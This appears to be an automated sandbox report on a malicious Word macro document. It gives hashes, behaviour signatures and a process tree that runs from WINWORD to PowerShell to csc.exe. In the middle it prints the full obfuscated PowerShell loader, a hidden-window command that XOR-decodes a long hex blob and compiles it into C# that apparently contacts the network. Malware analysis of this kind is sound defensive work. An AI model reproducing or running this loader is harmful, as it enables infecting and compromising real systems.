ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
130s
max time network
115s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-02-06_210620.doc
Size

41KB
MD5

a7d5d6d88f2783eeb0c7b25a8b1865f4
SHA1

5dd475f8a7cb53191cb78bd0dcf6f66af6e12860
SHA256

c902e4a17130c0622e00a870fa826ba412f1b17785db41880e1165226f985c15
SHA512

a87741d8afe1c6ff1d558cca702408c5bf1cf6ddc5eccc604a579c9d939be71e3f1a03a2efc699df882f2e7e491d21430d592c03b7842342c14bb6179b70f7e7

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1944	1860	powershell.exe	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WINWORD.EXEpowershell.execsc.exe

description	pid	process	target process
PID 1860 wrote to memory of 1944	1860	WINWORD.EXE	powershell.exe
PID 1860 wrote to memory of 1944	1860	WINWORD.EXE	powershell.exe
PID 1860 wrote to memory of 1944	1860	WINWORD.EXE	powershell.exe
PID 1944 wrote to memory of 1656	1944	powershell.exe	csc.exe
PID 1944 wrote to memory of 1656	1944	powershell.exe	csc.exe
PID 1944 wrote to memory of 1656	1944	powershell.exe	csc.exe
PID 1656 wrote to memory of 1644	1656	csc.exe	cvtres.exe
PID 1656 wrote to memory of 1644	1656	csc.exe	cvtres.exe
PID 1656 wrote to memory of 1644	1656	csc.exe	cvtres.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1944 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1944 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1944 powershell.exe
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1860 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	1944	powershell.exe

pid	process
1944	powershell.exe

flow	pid	process
7	1944	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

WINWORD.EXE

pid	process
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-06_210620.doc"
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function qd432b7 {param($n275f)$h4a5a6='e7f3c';$cac32b1='';for ($i=0; $i -lt $n275f.length;$i+=2){$p5381e=[convert]::ToByte($n275f.Substring($i,2),16);$cac32b1+=[char]($p5381e -bxor $h4a5a6[($i/2)%$h4a5a6.length]);}return $cac32b1;} $qc8142 = '10440f5d0445641f4017005a5d46100c590113301c4412560e4b65135d170c5a031d2a0b4303410c15640341150c5403405810440f5d0445641f4017005a48770a0450085c10115e05405810440f5d0445641f4017005a487a2c5e42155a0d0217354a1011520b1d2d00435d3e691542045f0a0617055f0216444643025154574838215b0a7a0e155814474b475c03410d005b55014149720847111c67095a0d110a4474061167145c0024530241061644441a3e454713510f0c5446401704430f5043004f1256110b172f5d17354314130d005504045a5c1f2f5d17354314130d0300035656494412410a0b50465100010305024a5e6c225f0f2c5a165c11111f4458061759035f5057154a13260b43144a330a5e0847435817447f0c04532a5a011756144a414c6a464316075b0f5043164307470a0617034b17004508132a0b433647114554530600011f1547110c59011301520f53004a5e6c225f0f2c5a165c11111f4458061759035f5057154a13260b43144a330a5e08475e47610f411710560a63110a43035017471e3b131310550a5a0045441252170c5446561b1152145d430758095f431c0004505451054e7a0d116712414310060406055d034a662a0b43364711454e55575a521b46460a0b43465555000500044f4558134743105e084743070454000207034f0838215b0a7a0e155814474b477c03410d005b55014d015b0a114f45720847111c67095a0d110a446117097a09450628520b5c111c154a133000432a5210117214410c170a00520f16524f6e43164307470a0617034b1700450813150a5e02130b0102040b4b2c59126317171703570054534a7a0d11671241431353040b52495e0847430752550a564c0c164601095e0513101156125a00455e0847430d0100010750034e1a182c59126317171709505b010e535643581705065606534e420751045451544d1556075604065306025153560256070707114a4c0c0f554b0a545e575a50525b0e2a0b433647114b6d03410c4c4c015c170a17090b0050025d4e2a0b4336471145545e50545d03000e0d005504045a5c1f09505b010e53564f145352005107004e115151020702565056550353530250035b520657055356025703505106441a4a5e5e001b005d54510b57030a5b7a0d116712414d3f52145c4a1e5009470c45585e5056500c1b662a0b43364711455d535551030a4e662a0b433647114c025d460a0b43465b565c0052500658075d5a054d161f0401060052014b060f05045b51514a59560305001f531d03561f0c1043465b565c005250064c1e1d540c1158465c5b060253081e274e12563838171f015a560f500b5e1e071e005249071e550549071e0a53180c2f5d17354314131a5101005151510a2b5211165f075f4d245b0a5c002d700a5c01045b4e004a5e7a0741100d560a1d200a471f1b1a570e550b555d1b561f1a5101005151511b551a580d5353515b4d590344432c59126317171f050b00520f52554d31582f5d1753034e1a48554f560352071e4a4a57535104015749044f080c5d545306594560035120095e035d1745525f005707045b5d061217315601265b0f560d111f4f081011450f5d04454f510b5b5004510e260b410f410c0b5a035d174b700347250a5b0256113556125b4b2059105a110a590b560d1119354306065e075f250a5b0256114b7616430f0c5407470a0a59225217041e4d113f39425304025d03031148145352005107004e115707025402065001441a58000e5507015619225c140b5b095207235e0a564b145352005107004e11530103550251510457035603065e075a5156560552540355030550015703525702540302505156575355035202565453560353040207075a50075250510600070152545253515657070006525502525650500055015354525404505200500153530052565153005e00555356535156010757075b500157515355154f1f1b520f5e0650521e5d63110a5403401036430741172c59005c430e5250555b52065b5d06121736410c0652154030115614472a0b51091b1b520f5e0650521e5d63110a540340104b64125211111f0d5655030f51024a5e450347161759460358184713510f0c5446401704430f50431643145a0d0217175757560504044b1643145a0d02170b0100560e4f481011450f5d04455900040600025b110652515550415e4412410a0b504650565054020e3011450f5d044b720b43171c0c005c114d5e0847430c0a56080a595a5450505c192a560d02430e080a4e0a541a18074e1256430b520451545c0e5b700c0b410341174b6309711a11524e5e5106045f1d3010551547110c59011b0a49054f1f52531e5d5056505402185e4d540e52114c1f08560107005f0a433b17085554005253684b0c18541a4340170855540052531d2f005901470b381e5d4e11004313410d4554530600010c1b4e'; $qc81422 = qd432b7($qc8142); Add-Type -TypeDefinition $qc81422; [pa4c1]::h6f2d54();
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:1944

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ucqvu3g\1ucqvu3g.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7638.tmp" "c:\Users\Admin\AppData\Local\Temp\1ucqvu3g\CSC37FD51CA72F043F29DECAF7A3A56B73.TMP"
4⤵
PID:1644

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1ucqvu3g\1ucqvu3g.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES7638.tmp

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1ucqvu3g\1ucqvu3g.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1ucqvu3g\1ucqvu3g.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1ucqvu3g\CSC37FD51CA72F043F29DECAF7A3A56B73.TMP

Download Submit